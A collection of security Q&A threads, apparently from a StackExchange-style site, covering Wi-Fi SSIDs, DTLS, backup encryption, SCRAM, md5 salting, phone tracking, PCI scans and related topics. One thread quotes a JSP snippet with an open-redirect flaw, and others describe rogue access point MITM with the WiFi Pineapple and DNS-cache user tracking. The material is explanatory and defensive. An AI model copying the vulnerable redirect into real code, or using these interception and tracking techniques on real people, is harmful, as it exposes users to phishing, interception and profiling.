Security risks of disabling SSID Broadcast I recall having read several articles online, and even passing along the advice, stating that disabling SSID broadcast is not only useless as a security measure but also harmful to the security of the client devices. The logic goes like this:

SSID Broadcasting On

Client devices passively listen for known networks.
Clients initiate connection when a known network is heard.
Attackers do not know what networks un-associated client devices are looking for.

SSID Broadcasting Off

Client devices must actively probe for known networks.
Client devices are advertising trusted SSIDs.
Attackers can capture trusted SSID info and use it to trick clients into connecting to a Rogue AP when they are not near the actual trusted network.

This seems a generally sensible supposition. However, I don't think I've seen any claims that take into account what happens when an attacker tries to impersonate a network without knowing other attributes of the network's security configuration - particularly, the encryption protocol or keys. The connection should, in theory, fail with protocol mismatch or bad key negotiation.

Given the above, it would seem to me that disabling SSID broadcast (while still not at all a reliable security mechanism) still has a net-positive impact on security - or net-neutral, at worst. Is there something I'm missing?

Take a look at the WiFi Pineapple, which is a wireless MITM impersonization device available for $100 plus shipping.  The attacker pretty much only has to power it up and configure it, and it will start offering instant MITM attacks.  If a mobile device is probing for an already-known open SSID, it will happily provide it with a working internet connection.  It requires almost no skill to operate.

The key is that a client who trusts even a single connection to any open WiFi access point anywhere has placed themselves in a vulnerable position, and this is true whether or not you are broadcasting your SSID.  The secure approach is to require credentials on your access points, and avoid being part of the problem for your clients.  Whether or not you broadcast your SSID then becomes a matter of convenience for your users, and is not a matter of security.


DTLS Session Keys life time I have a UDP client application that is long-lived: Ideally, it keeps streaming to a server forever. I'm using Datagram Transport Layer Security (DTLS) to secure the UDP communication.

How often does DTLS refresh the session keys established during handshake that are used to secure the record layer communication?
Is re-handshake required to refresh the keys? Can this be done using another method?

There is no notion of "key refresh", in either DTLS or even TLS, which would be independent of the handshake. If you want to refresh your keys for some reason, then you do so by requiring a new handshake. Both client and server can trigger a new handshake at any time (the client does so by sending a ClientHello, while the server sends an HelloRequest).

There are two types of keys in TLS (and DTLS):

The master secret is established through asymmetric cryptography (RSA, Diffie-Hellman) as part of a "full handshake".
The actual encryption and MAC keys are produced from the master secret and the "random values" sent by client and server. When a client and server do an "abbreviated handshake", a previously shared "master secret" is reused, but new encryption/MAC keys are produced.

There is no intrinsic reason in TLS or DTLS which would force a new handshake, except possibly running out of distinct sequence numbers; but since that number is a 64-bit counter, running out does not actually happen in practice (by a very long shot). Any specific application may wish to do a "refresh" at any time, and can do so by triggering a new handshake (abbreviated or full: an abbreviated handshake occurs only if both client and server agree to it).

It must be noted that there are very few rational reasons for "refreshing" the keys. People who do the refresh actually do so for the sake of formal compliance to regulatory requirements whose basis has been lost in the mists of Time (usually remnants of procedures which were needed for security with cryptosystems from before the invention of the computer). The unspoken myth at work in those cases is an assumption that keys somehow degrade upon usage, like bearings for a wheel, and must be replaced on a regular basis. This myth is, well, a myth, but a strong one, which still powers many standards and "best practice" documents.

(The one rational reason I have seen for a "refresh" was not about refreshing at all; it was a TLS server used in a context where the client also has a certificate, whose private key was in a smart card. The server regularly forced a new full handshake to make sure that the smart card was still there.)


Does it make more sense to encrypt whole backup disk or only encrypt backup itself? I am using duplicity to back up files to my external hard drive. I see that I have different options of encrypting my backup:

Encrypt backup disk (filesystem-level encryption)
Encrypt backup (Duplicity signes the backup with GnuPG)
Both

Is there a "way to go"? Obviously using both seems "safest", but it seems a bit overkill.

It depends upon your level of paranoia.

Short answer: all 3**

Minimal answer: encrypt the backups individually

Longer answer: The FS-level encryption and file-level (or backup-level) encryption are protecting against two different (although overlapping) attacks.  The FS-level is protecting against the unauthorized mounting of the backup drive; whether that's the physical theft of the drive, or the attaching of the drive to your system when you do not intend for that to happen.  The FS-level really only provides protection if you are only mounting the disk when you are either performing a backup or restoring data.  Otherwise, if you leave it mounted to the OS, the backup files are available to whomever has access to the machine they are mounted.

The file-level encryption protects your files for unauthorized reading whether they are still on the drive or not.  So in the case that the backups are exfiltrated from the drive, they are still unreadable w/o serious effort.  Hence, at a bare minimum, you should encrypt the backups.

** There's actually a 3rd level of encryption you can have, which would be at the physical disk layer.  This seems to be a growing feature among SSD drives.  In many respects, the Disk-provided encryption is somewhat redundant to the FS-level encryption.


Is it possible to detect someone impersonating a device in my wifi network? If an intruder gained access to a network impersonating the MAC address and the device name to appear like a familiar device in the network, how then is it possible to detect the device in the router logs?

Can the router see the card manufacturer or other information that can't be changed? I know completely spoofing a device identity is impossible, correct me if I am wrong.

MAC addresses, IP addresses, and DHCP hostnames are not security controls.  All of those can be forged.  I can also make my TCP/IP stack look like any operating system available -- the exact same signatures that tools like nmap and p0f use can be used to configure my network stack.

A strong WPA2 passphrase is the only effective wireless network security control most consumer routers offer.  (And since you are using the term "router" for a device that your client connects to, I assume you mean a consumer wireless router.)

There is generally nothing logged on a consumer router that would allow you to detect a malicious device masquerading as a legitimate device.


Tampering req.getParameter() Vs req.getAttribute() Is following code vulnerable? If yes, how it can be exploited?

 <%
Boolean redirectToSomeSite = (Boolean)request.getAttribute("redirectToSomeSite");
String someSiteUrl = (String)request.getAttribute("someSiteUrl");

if(redirectToSomeSite != null && redirectToSomeSite.booleanValue()) {
response.sendRedirect(someSiteUrl);
 }else{
%>
<jsp:forward page="SomeAction.do?param1=value1" />
<% } %>

Looks like there might be a open-redirect vulnerability. This might mean an attacker could craft a link with your URL and make your web site redirect the user to a malicious page. The user, just seeing the 'trusted' website belonging to you, gets redirected to the malicious webpage, which might mount an attack such as a CSRF/XSS. So although this code does not have any vulnerability by itself, it can be used to launch other serious attacks.

Reference: CWE 601


Resetting the Windows RNG According to this research, Windows seems to produce the same sequence of random numbers indefinitely when a process is kicked off before a VM snapshot is taken.  This is a huge issue obviously when cloning VMs;  the cloned VMs will all generate the same random numbers, which may compromise many different functions that rely on good randomness (key generation, etc).

If somehow someone were to reset the RNG or force it to collect entropy again from its sources, then this would be less of a problem.  Is this theoretically possible?  How might it be done?

This is going to depend on your environment.  Snapshots, clones, and gold-copy images all cause issues simply because they're using identical entropy pools to generate RNG for the system.  VMWare offers virtio drivers that allow entropy to refresh from the core kernel but I don't think this exists for Windows.

In this case, a reboot refreshes the entropy pool but also has the very small window of below entropy threshold potential issues your reference also discusses.  This is easily prevented by NOT allowing RNG functions for OpenSSL or other Keygen needs until the system is fully booted.

3rd option and in my thoughts the proper alternative is to rely on an external hardware rng to refresh your entropy pool and then pull from that.  That allows you:

True Entropy sources to populate all of the PRNGS on each virtual
The ability to monitor each clone's entropy pool and refresh when entropy thresholds are hit (filling back up to 4k)
No worries that you're using duplicated entropy pools from all of the clone images

None if this is an issue unless you have a compliance requirement and/or have keygen needs that'll saturate each vm's entropy pool and really cause a potential for known number scenarios.  In those instances, go hardware RNG.

TL;DR

Given sufficent time, the entropy pool is stirred and this issue becomes moot
If you're relying on Windows or Linux for real SSL needs, don't rely on kernel entropy pools and go with an approved NIST 800-90(A/B) method; hardware via API or custom programming
Have your app refresh in Windows: https://msdn.microsoft.com/en-us/library/windows/desktop/aa379942(v=vs.85).aspx


How exactly does Google Account decide my device or location is "familiar"? In Chrome, I delete all cookies and site data. I close the browser and re-open it. I double check that All Cookies and Site Data is a blank list.

I type https://mail.google.com/ into the address bar. I'm redirected to a long URL starting with accounts.google.com, and I can see that 3 cookies are set - one from google.com, two from accounts.google.com.

I enter my gmail address and click Next.

The page refreshes, showing a non-generic profile picture, with a balloon saying "We'll only personalize this page when you're signing in from a familiar device or location."

How exactly do they decide that my device or location is "familiar"?

Is it based on IP? On IP geographic location? Are they browser-fingerprinting all my computers?

I'm using Chrome
I am not signed in to Chrome
My home page is chrome://newtab/

It appears to be based on your IP address and browser cookies.

According to a Google FAQ page:

  To help make sign-in easier and more personal, you may see a screen with your profile picture and full name when signing in to Google. We’ll only show this information if you are signing in from a location or device you’ve signed in from before, like your home computer.

I tried entering my email into a VM that I've never used to log into my Google account (but has the same external IP address) and the Google account page still showed my profile picture.

I don't think it is by an IP's geographical location because multiple IP addresses may point to the same location. I've also used other networks (with different IPs) in close proximity to mine and had my device not be flagged as familiar.

I believe cookies are also used - I used to clear all cookies on browser close, resulting in my device not being marked as familiar in new locations (allowing me to make the observations above). Since I allowed cookies to persist, I noticed that my device was marked as familiar even though I logged in from a different location that I've never used before.

Summary of my observations:

Familiar devices are determined based on:

IP address (but not geographic location).
Browser cookies.


PPP over SSH - is this correct? I see a lot of talk online about whipping up a VPN connection using PPP over SSH. This term confuses me, as SSH is an app tier protocol and PPP operates on the data-link layer.

So, my question is: Shouldn't it technically be SSH over PPP, and not PPP over SSH?

No, this is correct, you are putting PPP packets into your SSH connection. The idea of a VPN is that you are tunnelling, which basically means that you have an SSH connection (a tunnel) that looks like PPP when you are sending something into it. Thus, if you send a request through your tunnel with a protocol like HTTPS, your packet on the wire will look something like this:

Ethernet( IP( TCP( SSH( PPP( IP( TCP( TLS( HTTP( your packet payload)))))))))

Tunnelling itself is not a security thing; another common use of tunnelling is 4to6 routers, which allow you to tunnel IPv6 traffic over an IPv4 network. Similarly, you can use a SOCKS proxy to forward web requests over SSH to make it look like your requests are coming from somewhere else.


Does flushing DNS help with your anonymity? Some had said that flushing DNS could help you stay more anonymous but is this claim legit? I know for sure that webpages can see the DNS servers you're using but could they see your DNS cache? Where is DNS cahce stored anyways? Computer, ISP?

Caching is done in DNS on multiple levels. If a browser queries the (usually automatically) configured DNS server the answer is cached for some time in the browser so that it does not need to lookup again the same domain immediately. It is also cached for some time in the DNS server and if this one has an upstream DNS it is already cached there etc. Such caching means that any clients behind the specific DNS server gets the response faster.

The time to do the DNS lookup for a specific domain could be measured by the page embedding this resource. One could thus find out if a specific user has visited a specific domain recently (cached in browser or OS) or if some user of the same caching DNS server has visited the resource (cached in next DNS server) etc. This could be used to find out which sites gets visited regularly by the user (i.e. which are cached in the browser or OS) and thus create a profile of the user.

The caches could also be used to store user specific results for selected domains in control of the adversary and then detect a specific user depending on the IP address (under control of the adversary) he visits when embedding a resource from this domain. To cite from Technical analysis of client identification mechanisms - Lower-level protocol identifiers:

  Such caches can be easily leveraged to store small amounts of information for a configurable amount of time; for example, with 16 available IP addresses to choose from, around 8-9 cached host names would be sufficient to uniquely identify every computer on the Internet. On the flip side, the value of this approach is limited by the modest size of browser DNS caches and the potential conflicts with resolver caching on ISP level.

On the other hand, caching of DNS lookups is important for fast web surfing. Given that there are many other (and often easier) ways to track the user (see again Technical analysis of client identification mechanisms) regularly flushing the DNS will probably not help a lot with privacy.


Client certification authentication as an option for securing a device to allow access I am working on a commercial device (custom hardware with firmware and embedded software) that includes a Linux OS and will run in an unsecured network environment connected via Ethernet.  It will be vulnerable to various attacks.  We have performed a security risk assessment and scored risks.

I'm interested in controls for limiting access to the device which cover these two main scenarios.

1) My company sends service technicians to upload software, retrieve logs, and troubleshoot problems.  The servicing is performed infrequently (e.g. once a year) using software that my company controls.   The software is not updated very frequently e.g. once a year.  The software runs an individual laptop.  The security is limited somewhat whereby if the laptop is stolen and credentials are obtained then the access is compromised.

2) There is a need for a very small number of third-party applications (e.g. less than 10) to interface in read-only manner to retrieve data from the device to enable business integration.

The approach I'm considering is with client certificates where the device is the server and the software apps in (1) and (2) are the clients.  This takes me down the path of whether to go with an internal CA or a private root and intermediate CA. This raises some questions such as:

How many unique certificates to issue
Expiry times of the certificates
Using Certificate Revocation Lists (CRL)

The question I have is whether there is an alternative approach to using client certificates which solves (1) and (2)?

Certificates are a good solution

The device will have a server certificate issued by a CA (either root or intermediate).
It can trust client certificates issued by the same CA (or another subCA of the rootCA).
When using certificates you are right there are two things to care about:

Runtime of the device certificate and
the runtime of the CRL.

If the device has ethernet access over an untrusted network this is great. The device can fetch updates of the CRL. And as the CRL is signed by the trusted CA, it does not matter, that the network is untrusted, since the CRL is trusted and can not be modified.

I think this is probably the best solution.
One day you need to

renew the device certificate and
the root certficiate.

Alternate approach easily ends up in a PKI

Well, to address requirement (1) you could create an easy VPN (like tinc) between the devices and the laptops. But as you pointed out, if the laptop is stolen, you need to have a process to exclude the laptop from the VPN. This might be cumbersome.

But in fact you also have to verify that the CRL gets updated and is fetched by the device, if a laptop is stolen...

As far as requirement (2) is concerned: You could also try to work with API keys or assymmetric API keys. But if an API key is compromised, you need to invalidate this API key. And finally you end up rebuilding a PKI.

Online?

However, if the device has a reliable (Availability) network connection you could run a central management.
Using this central management you could block symmetric API keys of 3rd-party Applications and you could block service personell and you could invalidate VPN keys...
So yes, if you have reliable network connection you probably could do all this without the hassle of certficates which expire...


How to handle CRLs correctly in long-term electronic signatures? What is a recommended way of handling CRLs in long-term electronic signatures (specifically the CAdES-A)?

The problem I see is in that CRLs are not protected against modification (they are plain text, not signed) and not even mandatory in CAdES-T or CAdES-A.

As such, they can be forged, and such forgery cannot be easily detected, if the used time-stamping authority (TSA) is no longer active. I cannot figure out a way of handling CRLs in a way that prevents any doubts about long-term validity of a documents time-stamped with CAdES-A.

The same problem I have with verification of trustworthiness of TSAs themselves, if they no longer exist.

A typical scenario that worries me is this:

An attacker may use his own (=untrusted) time-stamping authority to forge a (CAdES-T or CAdES-A) time-stamp of a document. No one will now able to verify whether this now unreachable TSA was trusted or not at the time the time-stamp seems to be issued. To create a semblance of credibility, the attacker may update the time-stamp with a valid time-stamp of a trusted TSA, and wait for several years. The time-stamp update is possible due to the fact that time-stamps may be issued automatically without verification of credibility of previous time-stamps.
On a similar principle, an attacker can use a revoked certificate of a trusted time-stamp authority. He may also attach a modified CRL from which he deletes the S/N of the used time-stamping certificate (which is possible as the CRL is not signed). This way, the attacker may create a series of time-stamps from different TSAs. It's possible that after 10 years at least one of the TSAs won't exist, and no one will be able to receive its correct unmodified CRL to verify validity of the time-stamp.

Unfortunately, long-term signature specifications do not treat these problems in detail, or rather they don't mention them at all. For instance in rfc5126, especially sections C.4.1.1 and C.4.3.

Edit:

(Another sub-question has been moved here.)

A CRL is a signed object, just like a certificate. This is why they need not be covered by the actual document signature. However, for long-term archival, they need to be timestamped.

The theoretical background is the following:

At a given time T, you may validate certificates and verify signatures by using just-downloaded CRL, which give guarantee about revocation status of involved certificates at the current date (T).
If, while the current date is T, you want to prepare for an ulterior signature verification at date T' (later than T), then you assemble all the objects needed to perform the verification and put them all in a bag (some archive format), for which you obtain a time stamp. The time stamp states that all the bag contents existed at date T.
At date T', you verify the time stamp, which includes validation of the TSA certificate and CRL download and so on; crucially, you validate the time stamp at date T', which is the current date. Once the time stamp is verified, then you know that all the objects in the bag already existed at date T, so you can virtually project yourself in the past and verify the signature as if the current date was T.

The idea behind this time travel is that if at date T you had validated the signature, you would still remember it and act upon the result. Therefore, as long as you have proof (the time stamp) that all used objects (certificates and CRL) already existed at date T, then you can consider that you did validate the certificate at date T, and still remember it now.
Recurse. In the description above, you validate the time stamp at date T', then that which was timestamped at date T. The time stamp itself may expire (usually because the TSA certificate will expire), so if you want to prepare for long-term validation, you must obtain a newer time stamp with a longer life-time. That newer time stamp should cover everything that is needed to validate the first time stamp at date T', include the CRL.

Ultimately, you should apply a new time stamp every two or three years or so, depending on how fast the TSA expire. Each new time stamp is over a bag containing all objects needed to validate the previous time stamp.

All time stamps here are RFC 3161, i.e. they are CMS SignedData. As such, you can a posteriori embed extra certificates and CRL in a time stamp structure. RFC 5126 states as such at the end of section-4.4.1:

  NOTE 2: Time-stamp tokens that may themselves include unsigned
  attributes required to validate the time-stamp token, such as the
  complete-certificate-references and complete-revocation-references
  attributes, as defined by the present document.

Apart from CAdES-specific unsigned attributes, extra certificates and CRL can always be pushed into the certificates and crls fields of the SignedData structure, as specified in CMS. The overall effect is the same: the SignedData structure is the "bag" format I am talking about, and then you timestamp the whole lot.

This chain-of-time-stamps structure may be somewhat easier to understand in Evidence Record Syntax, a competing standard which concentrates on long-term signatures and, in my opinion, does it better than CAdES.


Should the average user with no special access rights be worried about SMS-based 2FA being theoretically interceptable? Security experts are constantly discouraging users from using SMS-based 2FA systems, usually because of worries the auth code could be intercepted by an attacker, either through a SIM swap or a MitM attack.

The problem I see with this statement is that both of these attacks to me feel like they're essentially only really feasible for attacks targeted at a specific user with the goal of breaching a targeted service. Attacks like the one that breached Reddit last year, where a Reddit administrator had his SMS 2FA token intercepted.

You can't do SIM swap attacks in an automated way or even at scale (unless there is a serious issue with a phone provider). The average cybercriminal doesn't have the required resources to MitM intercept SMS messages for people spread across a city, country or continent. The way I interpret this, the only people who should actively avoid SMS-based 2FA systems are those who are likely to be targeted for specific attacks, but those are few and far between.

Consider an average Joe, who has about 100 accounts, but doesn't use a password manager (so he has password reuse). He doesn't have special access to any major services. He doesn't have any celebrity status or special usernames anywhere. He is a regular, non-management employee at his office with no special access to his company codebase or product. Put a different way, he's unlikely to ever be the target of an attack specifically targeted at him.

In this context, should Joe be concerned that the SMS-based 2FA he uses for Facebook, Twitter, Google, Dropbox, Slack and Nest has theoretical vulnerabilities?

There is no real concept of an "average user with no special access rights". From the perspective of an attacker the main point is if the effort needed for an attack is less then the gain of the attack. Even an "average user" might have crypto wallets or precious twitter accounts. Sometimes the gain of an attack is also not that obvious, like when a seemingly unimportant target is hacked as the initial step in a larger delivery chain attack against a more precious and better protected target.

For some examples of successful attacks see

My SIM swap attack: How I almost lost $71K, and how to prevent it
Here's how I survived a SIM swap attack after T-Mobile failed me - twice
SIM swap horror story: I've lost decades of data and Google won't lift a finger


Given a secure channel, are there any benefits in using SCRAM over a username and password? Given that a communication over HTTP

uses SSL encryption
uses public key pinning to prevent MiTM attacks

is security in any way elevated by using Salted Challenge Response Authentication Mechanism (SCRAM) over basic access authentication and subsequently a token for every request?

tl;dr: I wouldn't generally recommend it, but it may be useful in specific circumstances

Advantages of SCRAM

The password is never sent to the server. The only things sent on the wire are:

The nonce
The salt
The iteration count
HMAC(PBKDF2(password), "Client Key") XOR HMAC(H(HMAC(PBKDF2(password), "Client Key")), AuthMessage) (seriously, I'm not making this up!)
HMAC(HMAC(PBKDF2(password), "Server Key"), AuthMessage)

The server never knows the password, and thus can't impersonate the user on other servers (as long as the salt on those servers is distinct from this server's salt)

Disadvantages of SCRAM

Requires the use of PBKDF2. While PBKDF2 is significantly better than a fast hash, bcrypt is better (and nowadays you should consider Argon2 as well).
Requires that all of the computational complexity be handled by the client

The first point is unfortunate, but the second point is the real killer. With smartphones and tablets everywhere now you simply can't assume that the client will be able to quickly compute PBKDF2 with enough iterations to be safe.

When would SCRAM be useful?

The use I see for SCRAM is where the client is trusted but the server is not. This is never true for a web application (as the "client" is the JavaScript sent by...the server), and is only sometimes true for local applications. The best examples I can think of are the ones Wikipedia gives: SMTP, IMAP, and XMPP, where you trust your email or chat client but are authenticating to a potentially malicious third party server.

If the client forces a high iteration count and unique salt it may mitigate the risk of DNS hijacking combined with a rogue CA, but you've already done that with certificate pinning. The only thing left to defend against is your server being malicious, which may be useful in some cases, but only if the gains outweigh the disadvantages of SCRAM.

SCRAM could useful to keep the server from obtaining the password if you know that a strong password will be used, but that the password will also be re-used elsewhere (if it's not reused why would you care if the server might know it?). Unfortunately this can't really be enforced, and the ideal would be to use a unique password anyway.

How does SCRAM work?

In SCRAM, the server stores:

The salt
The iteration count
ServerKey = HMAC(PBKDF2(password), "Server Key") (where "Server Key" is a known constant HMAC key)*
StoredKey = H(HMAC(PBKDF2(password), "Client Key")) (ditto for "Client Key")

To authenticate:

The client sends the username and a random nonce
The server appends its own random nonce to the client's, and replies with the nonce, salt, and iteration count for the user
The client computes the following:

ClientKey = HMAC(PBKDF2(password), "Client Key")
StoredKey = H(ClientKey)
ClientSignature = HMAC(StoredKey, AuthMessage) (where AuthMessage is the concatenation of all previously exchanged messages and the nonce, delimited by commas)
ClientProof = ClientKey XOR ClientSignature

The client sends the nonce and ClientProof to the server
The server computes the following:

ClientSignature = HMAC(StoredKey, AuthMessage)
ClientKey = ClientProof XOR ClientSignature
ServerSignature = HMAC(ServerKey, AuthMessage)

The server verifies H(ClientKey) == StoredKey, proving that the client knows the password (or at least ClientKey)
The server replies with ServerSignature
The client computes ServerSignature and compares it to the value returned by the server, verifying that the server knows the ServerKey

This is rather simplified, as it excludes some things like hash selection, encoding, message format, and channel binding, but it should give a good idea of how it works.

* All uses of PBKDF2 obviously include the salt and iteration count as well, SCRAM sets dkLen to the output length of the selected hash


Are there any vulnerability differences between real-time systems and non-real-time systems? Are there any fundamental vulnerability peculiarities unique to real-time systems?  Are they impervious to some vulnerabilities, due to their speed?

Here, real-time system refers to typical usage where the time constraints are very short, and delivery deadlines are similar to human reaction times.  Examples include train engineering systems, car-driving systems, helicopter pilot systems, etc.

Generally, if something is wrong with a real-time system, it'll go wrong upon a trigger event occurring. For example, Knight Capital had a stock trading system which responded to specific circumstances by buying stocks - when the system was pushed out without testing, it spent all their money, causing price fluctuations and the company to go bankrupt.

As a result, system correctness testing is really important - whereas with a non-real-time system, there are often ways to compensate for issues (maybe you can revert the database and redo transactions if you find a mistake has been made), that's not always the case with real-time systems, especially those with a real-world impact.

Consider systems that control traffic lights, or fly-by-wire implementations in aeroplanes. In these systems, a flaw which isn't picked up in advance can cause injury or death, and, worse, can be triggered by an unforeseen situation - can your fly-by-wire system handle failure of the GPS satellite systems? What about the sudden appearance of a number of erroneous GPS signals from a malicious agent?

This means that development and testing of real-time systems tends to be much more stringent than for other software. It's not uncommon for vast swathes of safety case data to be produced, ensuring that any potential failures result in a safe state, which depends on the system in question: for Knight, it would have been a maximum spend, for example. For Boeing, it might be that the plane alerts human pilots to a requirement to take over. For a nuclear power plant, it might involve a controlled shut-down.


Is md5(md5(password).salt) secure? I know md5 is considered non-secure but what if someone used md5(md5(password).salt) instead? Isn't this technically better / more secure?

The hash  md5(md5(password).salt) is just as secure as md5(password.salt) .

All the difference i can see is the additional MD5 calculation md5(password) which increases the computing time the attacker needs to spend by a little and it may not be going to make a big difference.

Lets say the attacker takes the most used 100 passwords like welcome,monkey with md5 values
40be4e59b9a2a2b5dffb918c0e86b3d7,d0763edaa9d9bd2a9516280e9044d885 respectively.

He need to brute force  password as well as salt in md5(md5(password).salt) using the list welcome,monkey .

Example:md5(md5("welcome").salt)

He can simple do away with that additional MD5 calculation by using the list of md5 values calculated one time.

Example: md5("40be4e59b9a2a2b5dffb918c0e86b3d7".salt)


The difference between authentication protocols and authentications rules ISO 25023 divides the authenticity into authentication protocols and establishment of authentication rules. I understand that the authentication protocols aim to authenticate the user using different methods such as ID/password.

I hope that someone explain to me the difference between authentication rules and protocols.

The two notions may indeed be confusing since by definition a protocol is itself a set of rules. But in case of ISO/IEC 25023 the meanings are  different and I think the best definition could be a tangible example:

Suppose you use any authentication protocol that uses ID/Password method as you said: the authentication rules could be, for example, a set f these ones:

The password must be hashed
The inputs must be sanitized to prevent SQL injections
The ID must be number
The ID must not exceed 25 digits
...

An authentication rule is a set of measures taken to deploy the authentication protocol in practice.


When writing software do all programs have a signature? I have always been curious if all software have a signature for whatever reason or is only related to AV.

Signature in an AV context can be anything that uniquely identifies software. It might be a string from within the program, or even a hash of the program itself. Something doesn't have an AV signature until a person says "this is malicious, we need to find a way to unambiguously detect it".


Does a TMSI change often enough to prevent tracking? A company called Path Intelligence has a product called Footpath which uses the TMSI, WiFi MAC address, and bluetooth MAC address to track phones as they move through stores.

However, I don't see how they are able to get anything useful with the TMSI, since it's temporary and is supposed to change. How often does it actually change?

A TMSI is a randomly generated 32 bit number assigned to a mobile device, allowing it to be paged without using its permanent and immutable IMSI number. This number is assigned to a device by a Visitor Location Register (VLR) when the device enters (or is switched on within) the geographical area covered by that VLR. The assigned TMSI remains the same until the device connects to a base station under the control of a different VLR.

From the description of Footpath on the page you linked to, it sounds like these systems are used in shopping centres (malls), which are spread over a reasonably small area. Much smaller than the area an individual VLR will cover. This would mean that the TMSI would (with high probability) remain the same for the entirety of a shopper's visit to the area, allowing them to be anonymously tracked as they move around the centre.

While this technology would probably not be useful for tracking multiple visits of the same customer, analysis of the data could produce information on trends and patterns in customer actions.


Inconsistant browser warnings for SSL I am doing a penetration test at the moment, where the client has deep packet inspection for SSL enabled (my guess), as every SSL connection seems to being MITMed.

Now, some HTTPS sites, like Gmail, throw up a warning about the site not being trusted. Which is expected. Other sites however, such as Yahoo Mail, are not being MITMed, as the certificate shows that it belongs to Yahoo and signed by VeriSign.

So, does this mean only particular sites are chosen to intercept (which would be very odd given the mix of sites that give a warning and ones that do not), or that there is a way to fool the browser?

I'm thinking the former, but don't want to rule out the latter in case there is something I'm not aware of.

While it is possible that it is a technique to fool the browser I would seriously doubt it.

The vast majority of products I've dealt with that provide deep inspection only provide a single root certificate from under which all of the SSL inspection is executed. While it isn't definitive my leaning would be to say that anything that isn't using the known inspection root is being passed without inspection.

I personally don't find it all that unusual to get a big mix of sites that have deep inspection disabled. It seems that 3/4 of the helpdesk tickets that get escalated to me have to do with disabling HTTPS inspection.


Multiple websites hosted on same server We have two severs sitting under one load balancer. We run PCI scans on those two servers.

Now, when we started, we only had  2 websites running from these two server. But the business is growing and we have around 10 more sites on these two servers.

Do I have to get the PCI scans of all these websites separately, or will it be sufficient to have the PCI scans of server boxes?

Yes, you need to scan the virtual hosts.

3. Prior to scanning the web site and IT infrastructure, merchants and service providers must:
• Provide the ASV with a list of all Internet-facing IP addresses and/or IP address ranges
• Provide the ASV with a list of all domains that should be scanned if domain-based virtual hosting is used

Details

PCI scans are not just testing the security of your operating system, but your web server configuration and application security among other things.


Find out if someone copied a file from my external hard disk I want to find out if someone has copied my personal details from my external hard disk. I don't care whether they read it, but it should not be copied to their system. So is there any method to find out if they copied it or not?

If you loan out your disk to someone else and they attach the drive to their computer, the drive itself has no way of telling whether the file is viewed in an application, or copied.  From the HD perspective both are read operations and are exactly the same thing.

If the files remained on your computer and were copied to an external media, there's various ways to turn on auditing on your computer to trace when a file is copied.  But this relies on the files staying on your computer.


Spam Russian Subdomains on my Website I have the EXACT same problem that was addressed in a former thread on Stack Exchange here:

https://webmasters.stackexchange.com/questions/103087/spam-russian-subdomain-in-my-website

As you can see from the image above from the site: command in Google, someone has created subdomains off of my domain. The results seem to be in Russian and, even worse, the subdomain part of their URLs are explicit content terms.

I have NEVER clicked on any of these results for fear of viruses etc.

My website is hosted at HostGator and trying to even explain this problem to their tech support has been very difficult.

I went into my cPanel and checked if there were subdomains there: No. I checked a couple other things: Nothing odd.

And from the link I posted above to another similar thread, the answer Chris Rutherfurd gave is probably my problem, as well but I don't understand the problem well enough to 1) fix it myself or 2) simplify it enough to explain to the Hostgator tech support person.

I still don't know if the problem is with HostGator or my registrar (Network Solutions).

Can anyone help?

In the comments below, Vladislav has pointed me in the right direction I think. I found a website that runs the dig command for you and got some output including an IP address in Provost Utah for a company called Unified Layer - I think this is BlueHost and that BlueHost and Hostgator are now owned by the same company.

The problem is that someone was able to register the subdomains.

I used https://dnsdumpster.com/ and got the following data:

outdoorsthatsoftcore1.beginnergolfswingtips.com
31.210.173.89
hosting.eurohoster.org
AS197793 LLC Gigabit
Russian Federation

From the map, it shows that the other DNS has A records.

You need to work with the support team of whoever runs your DNS (likely to be Hostgator) to get control back of your DNS and remove the A records of the malicious domains.


Behavior of IPSec when receive window gets full How does IPSec behave when an incoming package can't be marked received in the receive window without the receive window being moved in such a way that a not-yet received package's spot is pushed out of the window?

The anti-replay window is moved, the new upper bound will be the sequence number of the received package (it's always the highest sequence number of any successfully validated package). Packets received later with sequence numbers lower than the new lower bound of the window will be dropped. Refer to RFC 4303, section 3.4.3 for details.


How effectively can ISPs detect illegal file sharing? Recently the USA passed a law requiring ISPs to spy on their customers' internet connections to check for illegal file sharing. I assume that they would do this by sniffing packets, but doesn't this all go down the drain if packets are encrypted?

I'm trying to think of how they can detect this kind of activity if packets are encrypted.

I suppose that when the encryption key is sent over a BitTorrent client, the ISP could intercept the key and then see everything.

Would that be feasible?

Other than that, they could rely on general usage statistics, such as "this guy uses a ton of bandwidth especially during nighttime. He is probably sharing files illegally."

Would they take action on such weak evidence?

You've got most of the likely approaches mentioned in your question but here's a couple of points on them.

Usage. This is the easiest way to start blocking traffic, and what the a lot of ISPs seem to go with most.  Have a "fair use" policy which is based on bandwidth and then start taking action against users to go significantly over it.  Unfortunately in a lot of cases this happens even when the ISP is advertising "unlimited" broadband.
Protocol Analysis.  This can be used to detect what people are doing and if the ISP is blocking a specific protocol (e.g. bittorrent) or looking for transfers of specific files, they can use this to do it.  As you mention it doesn't work if they can't see the detail of what's transferred.
Encryption, if correctly implemented, it can block attempts to view the contents of traffic.  One thing to note (especially where it's a law enforcement based intercept) is that the intercepting party may be able to do a Man-In-The-Middle attack without it being obvious (if they can get a key signing certificate from a certificate authority).  This depends very much on the program used and how it implements the encryption.
Endpoint Analysis.  If the ISP can't see what traffics being transferred they can look at who you're communicating with.  Of course Bittorrent is P2P so it may not be obvious but I guess it would be possible to profile whether traffic was using a P2P protocol as against a standard HTTP connection.  Also if they can build up a list of all the nodes sharing a specific illegal file then I guess they could say "he communicated with all these nodes, so it's likely he shared the file", whether that argument would fly is likely down to the specifics of the law and the court...


Is it possible to create a truly private user account in a public computer? In my college computer that runs Windows 7 Professional SP1 I have an administrator account. I have full access to the entire computer and the files of every other account that's signed up.

The problem is: I'm not the only administrator, and they have the same access level as I do. Every time after I'm done using the computer I have to clear my browser history, sign off of every application I was using and place my files in a password protected compacted file. All this process is really inconvenient and bothersome. I've been looking after a solution to this issue for a while now, and already considered:

Creating a VM, using full-disk encryption. This obviously works but I'd like to avoid this.
Creating an encrypted volume with something like Veracrypt, the problem is that I could only install portable applications there (I think).
Encrypt my user folder. This would be a great solution that is available on Linux through eCryptfs, but I don't know if it's possible in Windows.

All the solutions I found online do not consider a shared computer and multiple system admins.

I hope one of you has an answer to this.

No it's not!

The closest you can come is your own bootable drive and reboot the computer to run from your drive. In that case it's not a public computer, it's just yours with their hardware.

Even an encrypted VM would not work, as the running decrypted VM image is fully accessible from the underlying host system, albeit with some work.

You can protect individual files and directories via encryption, but that protection is for "dead files". When opened, the keys and accesses are in running memory.

